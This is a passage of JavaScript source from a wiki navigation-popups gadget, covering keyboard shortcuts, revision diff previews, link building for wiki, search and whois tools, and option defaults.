this.print = magicHistoryLink;
break;
case 'togglePreviews':
this.text = popupString(pg.option.simplePopups ? 'enable previews' : 'disable previews');
/* fall through */
case 'disablePopups':
case 'purgePopups':
this.print = popupMenuLink;
break;
default:
this.print = function () {
return 'Unknown navlink type: ' + String(this.id);
};
}
};
//
// end navlinks
//////////////////////////////////////////////////
// ENDFILE: navlinks.js
// STARTFILE: shortcutkeys.js
function popupHandleKeypress(evt) {
const keyCode = window.event ? window.event.keyCode : evt.keyCode ? evt.keyCode : evt.which;
if (!keyCode || !pg.current.link || !pg.current.link.navpopup) {
return;
}
if (keyCode == 27) {
// escape
killPopup();
return false; // swallow keypress
}
const letter = String.fromCharCode(keyCode);
const links = pg.current.link.navpopup.mainDiv.getElementsByTagName('A');
let startLink = 0;
let i, j;
if (popupHandleKeypress.lastPopupLinkSelected) {
for (i = 0; i < links.length; ++i) {
if (links[i] == popupHandleKeypress.lastPopupLinkSelected) {
startLink = i;
}
}
}
for (j = 0; j < links.length; ++j) {
i = (startLink + j + 1) % links.length;
if (links[i].getAttribute('popupkey') == letter) {
if (evt && evt.preventDefault) {
evt.preventDefault();
}
links[i].focus();
popupHandleKeypress.lastPopupLinkSelected = links[i];
return false; // swallow keypress
}
}
// pass keypress on
if (document.oldPopupOnkeypress) {
return document.oldPopupOnkeypress(evt);
}
return true;
}
function addPopupShortcuts() {
if (document.onkeypress != popupHandleKeypress) {
document.oldPopupOnkeypress = document.onkeypress;
}
document.onkeypress = popupHandleKeypress;
}
function rmPopupShortcuts() {
popupHandleKeypress.lastPopupLinkSelected = null;
try {
if (document.oldPopupOnkeypress && document.oldPopupOnkeypress == popupHandleKeypress) {
// panic
document.onkeypress = null; //function () {};
return;
}
document.onkeypress = document.oldPopupOnkeypress;
} catch (nasties) {
/* IE goes here */
}
}
function addLinkProperty(html, property) {
// take "<a href=...>...</a> and add a property
// not sophisticated at all, easily broken
const i = html.indexOf('>');
if (i < 0) {
return html;
}
return html.substring(0, i) + ' ' + property + html.substring(i);
}
function addPopupShortcut(html, key) {
if (!getValueOf('popupShortcutKeys')) {
return html;
}
const ret = addLinkProperty(html, 'popupkey="' + key + '"');
if (key == ' ') {
key = popupString('spacebar');
}
return ret.replace(/^(.*?)(title=")(.*?)(".*)$/i, '$1$2$3 [' + key + ']$4');
}
// ENDFILE: shortcutkeys.js
// STARTFILE: diffpreview.js
/**
* Load diff data.
*
* lets jump through hoops to find the rev ids we need to retrieve
*
* @param {Title} article
* @param {string} oldid
* @param {string} diff
* @param {Navpopup} navpop
*/
function loadDiff(article, oldid, diff, navpop) {
navpop.diffData = { oldRev: {}, newRev: {} };
mw.loader.using('mediawiki.api').then(() => {
const api = getMwApi();
const params = {
action: 'compare',
prop: 'ids|title',
};
params.fromtitle = article.toString();
switch (diff) {
case 'cur':
switch (oldid) {
case null:
case '':
case 'prev':
// this can only work if we have the title
// cur -> prev
params.torelative = 'prev';
break;
default:
params.fromrev = oldid;
params.torelative = 'cur';
break;
}
break;
case 'prev':
if (oldid && oldid !== 'cur') {
params.fromrev = oldid;
}
params.torelative = 'prev';
break;
case 'next':
params.fromrev = oldid || 0;
params.torelative = 'next';
break;
default:
params.fromrev = oldid || 0;
params.torev = diff || 0;
break;
}
api.get(params).then((data) => {
navpop.diffData.oldRev.revid = data.compare.fromrevid;
navpop.diffData.newRev.revid = data.compare.torevid;
addReviewLink(navpop, 'popupMiscTools');
const go = function () {
pendingNavpopTask(navpop);
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query&';
url += 'revids=' + navpop.diffData.oldRev.revid + '|' + navpop.diffData.newRev.revid;
url += '&prop=revisions&rvslots=main&rvprop=ids|timestamp|content';
getPageWithCaching(url, doneDiff, navpop);
return true; // remove hook once run
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'before', 'DOWNLOAD_DIFFS');
}
});
});
}
// Put a "mark patrolled" link to an element target
// TODO: Allow patrol a revision, as well as a diff
function addReviewLink(navpop, target) {
if (!pg.user.canReview) {
return;
}
// If 'newRev' is older than 'oldRev' than it could be confusing, so we do not show the review link.
if (navpop.diffData.newRev.revid <= navpop.diffData.oldRev.revid) {
return;
}
const params = {
action: 'query',
prop: 'info|flagged',
revids: navpop.diffData.oldRev.revid,
formatversion: 2,
};
getMwApi()
.get(params)
.then((data) => {
const stable_revid =
(data.query.pages[0].flagged && data.query.pages[0].flagged.stable_revid) || 0;
// The diff can be reviewed if the old version is the last reviewed version
// TODO: Other possible conditions that we may want to implement instead of this one:
// * old version is patrolled and the new version is not patrolled
// * old version is patrolled and the new version is more recent than the last reviewed version
if (stable_revid == navpop.diffData.oldRev.revid) {
const a = document.createElement('a');
a.innerHTML = popupString('mark patrolled');
a.title = popupString('markpatrolledHint');
a.onclick = function () {
const params = {
action: 'review',
revid: navpop.diffData.newRev.revid,
comment: tprintf('defaultpopupReviewedSummary', [
navpop.diffData.oldRev.revid,
navpop.diffData.newRev.revid,
]),
};
getMwApi()
.postWithToken('csrf', params)
.done(() => {
a.style.display = 'none';
// TODO: Update current page and other already constructed popups
})
.fail(() => {
alert(popupString('Could not marked this edit as patrolled'));
});
};
setPopupHTML(a, target, navpop.idNumber, null, true);
}
});
}
function doneDiff(download) {
if (!download.owner || !download.owner.diffData) {
return;
}
const navpop = download.owner;
completedNavpopTask(navpop);
let pages,
revisions = [];
try {
// Process the downloads
pages = getJsObj(download.data).query.pages;
for (var i = 0; i < pages.length; i++) {
revisions = revisions.concat(pages[i].revisions);
}
for (i = 0; i < revisions.length; i++) {
if (revisions[i].revid == navpop.diffData.oldRev.revid) {
navpop.diffData.oldRev.revision = revisions[i];
} else if (revisions[i].revid == navpop.diffData.newRev.revid) {
navpop.diffData.newRev.revision = revisions[i];
}
}
} catch (someError) {
errlog('Could not get diff');
}
insertDiff(navpop);
}
function rmBoringLines(a, b, context) {
if (typeof context == 'undefined') {
context = 2;
}
// this is fairly slow... i think it's quicker than doing a word-based diff from the off, though
const aa = [],
aaa = [];
const bb = [],
bbb = [];
let i, j;
// first, gather all disconnected nodes in a and all crossing nodes in a and b
for (i = 0; i < a.length; ++i) {
if (!a[i].paired) {
aa[i] = 1;
} else if (countCrossings(b, a, i, true)) {
aa[i] = 1;
bb[a[i].row] = 1;
}
}
// pick up remaining disconnected nodes in b
for (i = 0; i < b.length; ++i) {
if (bb[i] == 1) {
continue;
}
if (!b[i].paired) {
bb[i] = 1;
}
}
// another pass to gather context: we want the neighbours of included nodes which are not
// yet included we have to add in partners of these nodes, but we don't want to add context
// for *those* nodes in the next pass
for (i = 0; i < b.length; ++i) {
if (bb[i] == 1) {
for (j = Math.max(0, i - context); j < Math.min(b.length, i + context); ++j) {
if (!bb[j]) {
bb[j] = 1;
aa[b[j].row] = 0.5;
}
}
}
}
for (i = 0; i < a.length; ++i) {
if (aa[i] == 1) {
for (j = Math.max(0, i - context); j < Math.min(a.length, i + context); ++j) {
if (!aa[j]) {
aa[j] = 1;
bb[a[j].row] = 0.5;
}
}
}
}
for (i = 0; i < bb.length; ++i) {
if (bb[i] > 0) {
// it's a row we need
if (b[i].paired) {
bbb.push(b[i].text);
} // joined; partner should be in aa
else {
bbb.push(b[i]);
}
}
}
for (i = 0; i < aa.length; ++i) {
if (aa[i] > 0) {
// it's a row we need
if (a[i].paired) {
aaa.push(a[i].text);
} // joined; partner should be in aa
else {
aaa.push(a[i]);
}
}
}
return { a: aaa, b: bbb };
}
function stripOuterCommonLines(a, b, context) {
let i = 0;
while (i < a.length && i < b.length && a[i] == b[i]) {
++i;
}
let j = a.length - 1;
let k = b.length - 1;
while (j >= 0 && k >= 0 && a[j] == b[k]) {
--j;
--k;
}
return {
a: a.slice(Math.max(0, i - 1 - context), Math.min(a.length + 1, j + context + 1)),
b: b.slice(Math.max(0, i - 1 - context), Math.min(b.length + 1, k + context + 1)),
};
}
function insertDiff(navpop) {
// for speed reasons, we first do a line-based diff, discard stuff that seems boring, then
// do a word-based diff
// FIXME: sometimes this gives misleading diffs as distant chunks are squashed together
let oldlines = navpop.diffData.oldRev.revision.slots.main.content.split('\n');
let newlines = navpop.diffData.newRev.revision.slots.main.content.split('\n');
let inner = stripOuterCommonLines(oldlines, newlines, getValueOf('popupDiffContextLines'));
oldlines = inner.a;
newlines = inner.b;
let truncated = false;
getValueOf('popupDiffMaxLines');
if (
oldlines.length > pg.option.popupDiffMaxLines ||
newlines.length > pg.option.popupDiffMaxLines
) {
// truncate
truncated = true;
inner = stripOuterCommonLines(
oldlines.slice(0, pg.option.popupDiffMaxLines),
newlines.slice(0, pg.option.popupDiffMaxLines),
pg.option.popupDiffContextLines
);
oldlines = inner.a;
newlines = inner.b;
}
const lineDiff = diff(oldlines, newlines);
const lines2 = rmBoringLines(lineDiff.o, lineDiff.n);
const oldlines2 = lines2.a;
const newlines2 = lines2.b;
const simpleSplit = !String.prototype.parenSplit.isNative;
let html = '<hr />';
if (getValueOf('popupDiffDates')) {
html += diffDatesTable(navpop);
html += '<hr />';
}
html += shortenDiffString(
diffString(oldlines2.join('\n'), newlines2.join('\n'), simpleSplit),
getValueOf('popupDiffContextCharacters')
).join('<hr />');
setPopupTipsAndHTML(
html.split('\n').join('<br>') +
(truncated ?
'<hr /><b>' + popupString('Diff truncated for performance reasons') + '</b>' :
''),
'popupPreview',
navpop.idNumber
);
}
function diffDatesTable(navpop) {
let html = '<table class="popup_diff_dates">';
html += diffDatesTableRow(navpop.diffData.newRev.revision, tprintf('New revision'));
html += diffDatesTableRow(navpop.diffData.oldRev.revision, tprintf('Old revision'));
html += '</table>';
return html;
}
function diffDatesTableRow(revision, label) {
let txt = '';
const lastModifiedDate = new Date(revision.timestamp);
txt = formattedDateTime(lastModifiedDate);
const revlink = generalLink({
url: mw.config.get('wgScript') + '?oldid=' + revision.revid,
text: label,
title: label,
});
return simplePrintf('<tr><td>%s</td><td>%s</td></tr>', [revlink, txt]);
}
// ENDFILE: diffpreview.js
// STARTFILE: links.js
/////////////////////
// LINK GENERATION //
/////////////////////
// titledDiffLink --> titledWikiLink --> generalLink
// wikiLink --> titledWikiLink --> generalLink
// editCounterLink --> generalLink
// TODO Make these functions return Element objects, not just raw HTML strings.
function titledDiffLink(l) {
// article, text, title, from, to) {
return titledWikiLink({
article: l.article,
action: l.to + '&oldid=' + l.from,
newWin: l.newWin,
noPopup: l.noPopup,
text: l.text,
title: l.title,
/* hack: no oldid here */
actionName: 'diff',
});
}
function wikiLink(l) {
//{article:article, action:action, text:text, oldid, newid}) {
if (
!(typeof l.article == typeof {} && typeof l.action == typeof '' && typeof l.text == typeof '')
) {
return null;
}
if (typeof l.oldid == 'undefined') {
l.oldid = null;
}
const savedOldid = l.oldid;
if (!/^(edit|view|revert|render)$|^raw/.test(l.action)) {
l.oldid = null;
}
let hint = popupString(l.action + 'Hint'); // revertHint etc etc etc
const oldidData = [l.oldid, safeDecodeURI(l.article)];
let revisionString = tprintf('revision %s of %s', oldidData);
log('revisionString=' + revisionString);
switch (l.action) {
case 'edit§ion=new':
hint = popupString('newSectionHint');
break;
case 'edit&undo=':
if (l.diff && l.diff != 'prev' && savedOldid) {
l.action += l.diff + '&undoafter=' + savedOldid;
} else if (savedOldid) {
l.action += savedOldid;
}
hint = popupString('undoHint');
break;
case 'raw&ctype=text/css':
hint = popupString('rawHint');
break;
case 'revert':
var p = parseParams(pg.current.link.href);
l.action =
'edit&autoclick=wpSave&actoken=' +
autoClickToken() +
'&autoimpl=' +
popupString('autoedit_version') +
'&autosummary=' +
revertSummary(l.oldid, p.diff);
if (p.diff == 'prev') {
l.action += '&direction=prev';
revisionString = tprintf('the revision prior to revision %s of %s', oldidData);
}
if (getValueOf('popupRevertSummaryPrompt')) {
l.action += '&autosummaryprompt=true';
}
if (getValueOf('popupMinorReverts')) {
l.action += '&autominor=true';
}
log('revisionString is now ' + revisionString);
break;
case 'nullEdit':
l.action =
'edit&autoclick=wpSave&actoken=' +
autoClickToken() +
'&autoimpl=' +
popupString('autoedit_version') +
'&autosummary=null';
break;
case 'historyfeed':
l.action = 'history&feed=rss';
break;
case 'markpatrolled':
l.action = 'markpatrolled&rcid=' + l.rcid;
}
if (hint) {
if (l.oldid) {
hint = simplePrintf(hint, [revisionString]);
} else {
hint = simplePrintf(hint, [safeDecodeURI(l.article)]);
}
} else {
hint = safeDecodeURI(l.article + '&action=' + l.action) + l.oldid ? '&oldid=' + l.oldid : '';
}
return titledWikiLink({
article: l.article,
action: l.action,
text: l.text,
newWin: l.newWin,
title: hint,
oldid: l.oldid,
noPopup: l.noPopup,
onclick: l.onclick,
});
}
function revertSummary(oldid, diff) {
let ret = '';
if (diff == 'prev') {
ret = getValueOf('popupQueriedRevertToPreviousSummary');
} else {
ret = getValueOf('popupQueriedRevertSummary');
}
return ret + '&autorv=' + oldid;
}
function titledWikiLink(l) {
// possible properties of argument:
// article, action, text, title, oldid, actionName, className, noPopup
// oldid = null is fine here
// article and action are mandatory args
if (typeof l.article == 'undefined' || typeof l.action == 'undefined') {
errlog('got undefined article or action in titledWikiLink');
return null;
}
const base = pg.wiki.titlebase + l.article.urlString();
let url = base;
if (typeof l.actionName == 'undefined' || !l.actionName) {
l.actionName = 'action';
}
// no need to add &action=view, and this confuses anchors
if (l.action != 'view') {
url = base + '&' + l.actionName + '=' + l.action;
}
if (typeof l.oldid != 'undefined' && l.oldid) {
url += '&oldid=' + l.oldid;
}
let cssClass = pg.misc.defaultNavlinkClassname;
if (typeof l.className != 'undefined' && l.className) {
cssClass = l.className;
}
return generalNavLink({
url: url,
newWin: l.newWin,
title: typeof l.title != 'undefined' ? l.title : null,
text: typeof l.text != 'undefined' ? l.text : null,
className: cssClass,
noPopup: l.noPopup,
onclick: l.onclick,
});
}
pg.fn.getLastContrib = function getLastContrib(wikipage, newWin) {
getHistoryInfo(wikipage, (x) => {
processLastContribInfo(x, { page: wikipage, newWin: newWin });
});
};
function processLastContribInfo(info, stuff) {
if (!info.edits || !info.edits.length) {
alert('Popups: an odd thing happened. Please retry.');
return;
}
if (!info.firstNewEditor) {
alert(
tprintf('Only found one editor: %s made %s edits', [
info.edits[0].editor,
info.edits.length,
])
);
return;
}
const newUrl =
pg.wiki.titlebase +
new Title(stuff.page).urlString() +
'&diff=cur&oldid=' +
info.firstNewEditor.oldid;
displayUrl(newUrl, stuff.newWin);
}
pg.fn.getDiffSinceMyEdit = function getDiffSinceMyEdit(wikipage, newWin) {
getHistoryInfo(wikipage, (x) => {
processDiffSinceMyEdit(x, { page: wikipage, newWin: newWin });
});
};
function processDiffSinceMyEdit(info, stuff) {
if (!info.edits || !info.edits.length) {
alert('Popups: something fishy happened. Please try again.');
return;
}
const friendlyName = stuff.page.split('_').join(' ');
if (!info.myLastEdit) {
alert(
tprintf("Couldn't find an edit by %s\nin the last %s edits to\n%s", [
info.userName,
getValueOf('popupHistoryLimit'),
friendlyName,
])
);
return;
}
if (info.myLastEdit.index === 0) {
alert(
tprintf('%s seems to be the last editor to the page %s', [info.userName, friendlyName])
);
return;
}
const newUrl =
pg.wiki.titlebase +
new Title(stuff.page).urlString() +
'&diff=cur&oldid=' +
info.myLastEdit.oldid;
displayUrl(newUrl, stuff.newWin);
}
function displayUrl(url, newWin) {
if (newWin) {
window.open(url);
} else {
document.location = url;
}
}
pg.fn.purgePopups = function purgePopups() {
processAllPopups(true);
setupCache(); // deletes all cached items (not browser cached, though...)
pg.option = {};
abortAllDownloads();
};
function processAllPopups(nullify, banish) {
for (let i = 0; pg.current.links && i < pg.current.links.length; ++i) {
if (!pg.current.links[i].navpopup) {
continue;
}
if (nullify || banish) {
pg.current.links[i].navpopup.banish();
}
pg.current.links[i].simpleNoMore = false;
if (nullify) {
pg.current.links[i].navpopup = null;
}
}
}
pg.fn.disablePopups = function disablePopups() {
processAllPopups(false, true);
setupTooltips(null, true);
};
pg.fn.togglePreviews = function togglePreviews() {
processAllPopups(true, true);
pg.option.simplePopups = !pg.option.simplePopups;
abortAllDownloads();
};
function magicWatchLink(l) {
//Yuck!! Would require a thorough redesign to add this as a click event though ...
l.onclick = simplePrintf("pg.fn.modifyWatchlist('%s','%s');return false;", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
this.id,
]);
return wikiLink(l);
}
pg.fn.modifyWatchlist = function modifyWatchlist(title, action) {
const reqData = {
action: 'watch',
formatversion: 2,
titles: title,
uselang: mw.config.get('wgUserLanguage'),
};
if (action === 'unwatch') {
reqData.unwatch = true;
}
// Load the Addedwatchtext or Removedwatchtext message and show it
const mwTitle = mw.Title.newFromText(title);
let messageName;
if (mwTitle && mwTitle.getNamespaceId() > 0 && mwTitle.getNamespaceId() % 2 === 1) {
messageName = action === 'watch' ? 'addedwatchtext-talk' : 'removedwatchtext-talk';
} else {
messageName = action === 'watch' ? 'addedwatchtext' : 'removedwatchtext';
}
$.when(
getMwApi().postWithToken('watch', reqData),
getMwApi().loadMessagesIfMissing([messageName])
).done(() => {
mw.notify(mw.message(messageName, title).parseDom());
});
};
function magicHistoryLink(l) {
// FIXME use onclick change href trick to sort this out instead of window.open
let jsUrl = '',
title = '',
onClick = '';
switch (l.id) {
case 'lastContrib':
onClick = simplePrintf("pg.fn.getLastContrib('%s',%s)", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
l.newWin,
]);
title = popupString('lastContribHint');
break;
case 'sinceMe':
onClick = simplePrintf("pg.fn.getDiffSinceMyEdit('%s',%s)", [
l.article.toString(true).split('\\').join('\\\\').split("'").join("\\'"),
l.newWin,
]);
title = popupString('sinceMeHint');
break;
}
jsUrl = 'javascript:' + onClick; // jshint ignore:line
onClick += ';return false;';
return generalNavLink({
url: jsUrl,
newWin: false, // can't have new windows with JS links, I think
title: title,
text: l.text,
noPopup: l.noPopup,
onclick: onClick,
});
}
function popupMenuLink(l) {
const jsUrl = simplePrintf('javascript:pg.fn.%s()', [l.id]); // jshint ignore:line
const title = popupString(simplePrintf('%sHint', [l.id]));
const onClick = simplePrintf('pg.fn.%s();return false;', [l.id]);
return generalNavLink({
url: jsUrl,
newWin: false,
title: title,
text: l.text,
noPopup: l.noPopup,
onclick: onClick,
});
}
function specialLink(l) {
// properties: article, specialpage, text, sep
if (typeof l.specialpage == 'undefined' || !l.specialpage) {
return null;
}
const base =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] +
':' +
l.specialpage;
if (typeof l.sep == 'undefined' || l.sep === null) {
l.sep = '&target=';
}
let article = l.article.urlString({
keepSpaces: l.specialpage == 'Search',
});
let hint = popupString(l.specialpage + 'Hint');
switch (l.specialpage) {
case 'Log':
switch (l.sep) {
case '&user=':
hint = popupString('userLogHint');
break;
case '&type=block&page=':
hint = popupString('blockLogHint');
break;
case '&page=':
hint = popupString('pageLogHint');
break;
case '&type=protect&page=':
hint = popupString('protectLogHint');
break;
case '&type=delete&page=':
hint = popupString('deleteLogHint');
break;
default:
log('Unknown log type, sep=' + l.sep);
hint = 'Missing hint (FIXME)';
}
break;
case 'PrefixIndex':
article += '/';
break;
}
if (hint) {
hint = simplePrintf(hint, [safeDecodeURI(l.article)]);
} else {
hint = safeDecodeURI(l.specialpage + ':' + l.article);
}
const url = base + l.sep + article;
return generalNavLink({
url: url,
title: hint,
text: l.text,
newWin: l.newWin,
noPopup: l.noPopup,
});
}
/**
* Builds a link from a object representing a link
*
* @param {Object} link
* @param {string} link.url URL
* @param {string} link.text The text to show for a link
* @param {string} link.title Title of the link, this shows up
* when you hover over the link
* @param {boolean} link.newWin Should open in a new Window
* @param {number} link.noPopup Should nest new popups from link (0 or 1)
* @param {string} link.onclick
* @return {string|null} null if no url is given
*/
function generalLink(link) {
if (typeof link.url == 'undefined') {
return null;
}
const elem = document.createElement( 'a' );
elem.href = link.url;
elem.title = link.title;
// The onclick event adds raw JS in textual form to the HTML.
// TODO: We should look into removing this, and/or auditing what gets sent.
elem.setAttribute( 'onclick', link.onclick );
if ( link.noPopup ) {
elem.setAttribute('noPopup', '1' );
}
let newWin;
if (typeof link.newWin == 'undefined' || link.newWin === null) {
newWin = getValueOf('popupNewWindows');
} else {
newWin = link.newWin;
}
if (newWin) {
elem.target = '_blank';
}
if (link.className) {
elem.className = link.className;
}
elem.innerText = pg.unescapeQuotesHTML(link.text);
return elem.outerHTML;
}
function appendParamsToLink(linkstr, params) {
const sp = linkstr.parenSplit(/(href="[^"]+?)"/i);
if (sp.length < 2) {
return null;
}
let ret = sp.shift() + sp.shift();
ret += '&' + params + '"';
ret += sp.join('');
return ret;
}
function changeLinkTargetLink(x) {
// newTarget, text, hint, summary, clickButton, minor, title (optional), alsoChangeLabel {
if (x.newTarget) {
log('changeLinkTargetLink: newTarget=' + x.newTarget);
}
if (x.oldTarget !== decodeURIComponent(x.oldTarget)) {
log('This might be an input problem: ' + x.oldTarget);
}
// FIXME: first character of page title as well as namespace should be case insensitive
// eg [[:category:X1]] and [[:Category:X1]] are equivalent
// this'll break if charAt(0) is nasty
const cA = mw.util.escapeRegExp(x.oldTarget);
let chs = cA.charAt(0).toUpperCase();
chs = '[' + chs + chs.toLowerCase() + ']';
let currentArticleRegexBit = chs + cA.substring(1);
currentArticleRegexBit = currentArticleRegexBit
.split(/(?:[_ ]+|%20)/g)
.join('(?:[_ ]+|%20)')
.split('\\(')
.join('(?:%28|\\()')
.split('\\)')
.join('(?:%29|\\))'); // why does this need to match encoded strings ? links in the document ?
// leading and trailing space should be ignored, and anchor bits optional:
currentArticleRegexBit = '\\s*(' + currentArticleRegexBit + '(?:#[^\\[\\|]*)?)\\s*';
// e.g. Computer (archaic) -> \s*([Cc]omputer[_ ](?:%2528|\()archaic(?:%2528|\)))\s*
// autoedit=s~\[\[([Cc]ad)\]\]~[[Computer-aided%20design|$1]]~g;s~\[\[([Cc]AD)[|]~[[Computer-aided%20design|~g
const title = x.title || mw.config.get('wgPageName').split('_').join(' ');
const lk = titledWikiLink({
article: new Title(title),
newWin: x.newWin,
action: 'edit',
text: x.text,
title: x.hint,
className: 'popup_change_title_link',
});
let cmd = '';
if (x.newTarget) {
// escape '&' and other nasties
const t = x.newTarget;
const s = mw.util.escapeRegExp(x.newTarget);
if (x.alsoChangeLabel) {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~[[' + t + ']]~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|]~[[' + t + '|~g;';
cmd += 's~\\[\\[' + s + '\\|' + s + '\\]\\]~[[' + t + ']]~g';
} else {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~[[' + t + '|$1]]~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|]~[[' + t + '|~g;';
cmd += 's~\\[\\[' + s + '\\|' + s + '\\]\\]~[[' + t + ']]~g';
}
} else {
cmd += 's~\\[\\[' + currentArticleRegexBit + '\\]\\]~$1~g;';
cmd += 's~\\[\\[' + currentArticleRegexBit + '[|](.*?)\\]\\]~$2~g';
}
// Build query
cmd = 'autoedit=' + encodeURIComponent(cmd);
cmd +=
'&autoclick=' +
encodeURIComponent(x.clickButton) +
'&actoken=' +
encodeURIComponent(autoClickToken());
cmd += x.minor === null ? '' : '&autominor=' + encodeURIComponent(x.minor);
cmd += x.watch === null ? '' : '&autowatch=' + encodeURIComponent(x.watch);
cmd += '&autosummary=' + encodeURIComponent(x.summary);
cmd += '&autoimpl=' + encodeURIComponent(popupString('autoedit_version'));
return appendParamsToLink(lk, cmd);
}
function redirLink(redirMatch, article) {
// NB redirMatch is in wikiText
let ret = '';
if (getValueOf('popupAppendRedirNavLinks') && getValueOf('popupNavLinks')) {
ret += '<hr />';
if (getValueOf('popupFixRedirs') && typeof autoEdit != 'undefined' && autoEdit) {
ret += popupString('Redirects to: (Fix ');
log('redirLink: newTarget=' + redirMatch);
ret += addPopupShortcut(
changeLinkTargetLink({
newTarget: redirMatch,
text: popupString('target'),
hint: popupString('Fix this redirect, changing just the link target'),
summary: simplePrintf(getValueOf('popupFixRedirsSummary'), [
article.toString(),
redirMatch,
]),
oldTarget: article.toString(),
clickButton: getValueOf('popupRedirAutoClick'),
minor: true,
watch: getValueOf('popupWatchRedirredPages'),
}),
'R'
);
ret += popupString(' or ');
ret += addPopupShortcut(
changeLinkTargetLink({
newTarget: redirMatch,
text: popupString('target & label'),
hint: popupString('Fix this redirect, changing the link target and label'),
summary: simplePrintf(getValueOf('popupFixRedirsSummary'), [
article.toString(),
redirMatch,
]),
oldTarget: article.toString(),
clickButton: getValueOf('popupRedirAutoClick'),
minor: true,
watch: getValueOf('popupWatchRedirredPages'),
alsoChangeLabel: true,
}),
'R'
);
ret += popupString(')');
} else {
ret += popupString('Redirects') + popupString(' to ');
}
return ret;
} else {
return (
'<br> ' +
popupString('Redirects') +
popupString(' to ') +
titledWikiLink({
article: new Title().fromWikiText(redirMatch),
action: 'view' /* FIXME: newWin */,
text: safeDecodeURI(redirMatch),
title: popupString('Bypass redirect'),
})
);
}
}
function arinLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
if (!l.article.isIpUser() || !pg.wiki.wikimedia) {
return null;
}
const uN = l.article.userName();
return generalNavLink({
url: 'http://ws.arin.net/cgi-bin/whois.pl?queryinput=' + encodeURIComponent(uN),
newWin: l.newWin,
title: tprintf('Look up %s in ARIN whois database', [uN]),
text: l.text,
noPopup: 1,
});
}
function toolDbName(cookieStyle) {
let ret = mw.config.get('wgDBname');
if (!cookieStyle) {
ret += '_p';
}
return ret;
}
function saneLinkCheck(l) {
if (typeof l.article != typeof {} || typeof l.text != typeof '') {
return false;
}
return true;
}
function editCounterLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
if (!pg.wiki.wikimedia) {
return null;
}
const uN = l.article.userName();
const tool = getValueOf('popupEditCounterTool');
let url;
const defaultToolUrl = 'https://xtools.wmflabs.org/ec?user=$1&project=$2.$3&uselang=' + mw.config.get('wgUserLanguage');
switch (tool) {
case 'custom':
url = simplePrintf(getValueOf('popupEditCounterUrl'), [
encodeURIComponent(uN),
toolDbName(),
]);
break;
case 'soxred': // no longer available
case 'kate': // no longer available
case 'interiot': // no longer available
/* fall through */
case 'supercount':
default:
var theWiki = pg.wiki.hostname.split('.');
url = simplePrintf(defaultToolUrl, [encodeURIComponent(uN), theWiki[0], theWiki[1]]);
}
return generalNavLink({
url: url,
title: tprintf('editCounterLinkHint', [uN]),
newWin: l.newWin,
text: l.text,
noPopup: 1,
});
}
function globalSearchLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const base = 'https://global-search.toolforge.org/?uselang=' + mw.config.get('wgUserLanguage') + '&q=';
const article = l.article.urlString({ keepSpaces: true });
return generalNavLink({
url: base + article,
newWin: l.newWin,
title: tprintf('globalSearchHint', [safeDecodeURI(l.article)]),
text: l.text,
noPopup: 1,
});
}
function googleLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const base = 'https://www.google.com/search?q=';
const article = l.article.urlString({ keepSpaces: true });
return generalNavLink({
url: base + '%22' + article + '%22',
newWin: l.newWin,
title: tprintf('googleSearchHint', [safeDecodeURI(l.article)]),
text: l.text,
noPopup: 1,
});
}
function editorListLink(l) {
if (!saneLinkCheck(l)) {
return null;
}
const article = l.article.articleFromTalkPage() || l.article;
const url =
'https://xtools.wmflabs.org/articleinfo/' +
encodeURI(pg.wiki.hostname) +
'/' +
article.urlString() +
'?uselang=' +
mw.config.get('wgUserLanguage');
return generalNavLink({
url: url,
title: tprintf('editorListHint', [article]),
newWin: l.newWin,
text: l.text,
noPopup: 1,
});
}
function generalNavLink(l) {
l.className = l.className === null ? 'popupNavLink' : l.className;
return generalLink(l);
}
//////////////////////////////////////////////////
// magic history links
//
function getHistoryInfo(wikipage, whatNext) {
log('getHistoryInfo');
getHistory(
wikipage,
whatNext ?
(d) => {
whatNext(processHistory(d));
} :
processHistory
);
}
// FIXME eliminate pg.idNumber ... how? :-(
function getHistory(wikipage, onComplete) {
log('getHistory');
const url =
pg.wiki.apiwikibase +
'?format=json&formatversion=2&action=query&prop=revisions&titles=' +
new Title(wikipage).urlString() +
'&rvlimit=' +
getValueOf('popupHistoryLimit');
log('getHistory: url=' + url);
return startDownload(url, pg.idNumber + 'history', onComplete);
}
function processHistory(download) {
const jsobj = getJsObj(download.data);
try {
const revisions = anyChild(jsobj.query.pages).revisions;
const edits = [];
for (let i = 0; i < revisions.length; ++i) {
edits.push({ oldid: revisions[i].revid, editor: revisions[i].user });
}
log('processed ' + edits.length + ' edits');
return finishProcessHistory(edits, mw.config.get('wgUserName'));
} catch (someError) {
log('Something went wrong with JSON business');
return finishProcessHistory([]);
}
}
function finishProcessHistory(edits, userName) {
const histInfo = {};
histInfo.edits = edits;
histInfo.userName = userName;
for (let i = 0; i < edits.length; ++i) {
if (typeof histInfo.myLastEdit === 'undefined' && userName && edits[i].editor == userName) {
histInfo.myLastEdit = {
index: i,
oldid: edits[i].oldid,
previd: i === 0 ? null : edits[i - 1].oldid,
};
}
if (typeof histInfo.firstNewEditor === 'undefined' && edits[i].editor != edits[0].editor) {
histInfo.firstNewEditor = {
index: i,
oldid: edits[i].oldid,
previd: i === 0 ? null : edits[i - 1].oldid,
};
}
}
//pg.misc.historyInfo=histInfo;
return histInfo;
}
// ENDFILE: links.js
// STARTFILE: options.js
//////////////////////////////////////////////////
// options
// check for existing value, else use default
function defaultize(x) {
if (pg.option[x] === null || typeof pg.option[x] == 'undefined') {
if (typeof window[x] != 'undefined') {
pg.option[x] = window[x];
} else {
pg.option[x] = pg.optionDefault[x];
}
}
}
function newOption(x, def) {
pg.optionDefault[x] = def;
}
function setDefault(x, def) {
return newOption(x, def);
}
function getValueOf(varName) {
defaultize(varName);
return pg.option[varName];
}
/*eslint-disable */
